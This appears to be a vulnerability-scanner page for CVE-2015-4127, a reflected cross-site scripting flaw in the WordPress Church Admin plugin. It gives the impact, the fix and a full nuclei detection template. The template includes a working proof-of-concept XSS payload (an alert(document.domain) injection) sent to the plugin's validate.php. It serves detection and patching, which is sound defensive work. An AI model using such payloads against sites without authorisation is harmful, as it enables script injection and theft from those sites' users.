WordPress Church Admin <0.810 - Cross-Site Scripting

mediumseverity

4.3CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Church Admin plugin before 0.810 allows remote attackers to inject arbitrary web script or HTML via the address parameter via index.php/2015/05/21/church_admin-registration-form/.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress Church Admin plugin (0.810 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/church-admin/readme.txt
Positive when: contains "Church Admin ="
Send: GET {{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2015-4127 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4127

info:
  name: WordPress Church Admin <0.810 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Church Admin plugin before 0.810 allows remote attackers to inject arbitrary web script or HTML via the address parameter via index.php/2015/05/21/church_admin-registration-form/.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Church Admin plugin (0.810 or higher) to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37112
    - https://wpscan.com/vulnerability/2d5b3707-f58a-4154-93cb-93f7058e3408
    - https://wordpress.org/plugins/church-admin/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4127
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-4127
    cwe-id: CWE-79
    epss-score: 0.07416
    epss-percentile: 0.9449
    cpe: cpe:2.3:a:church_admin_project:church_admin:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "church_admin_project"
    product: "church_admin"
    framework: wordpress
  tags: cve2015,cve,wp-plugin,wp,edb,wpscan,wordpress,xss,church_admin_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/church-admin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Church Admin ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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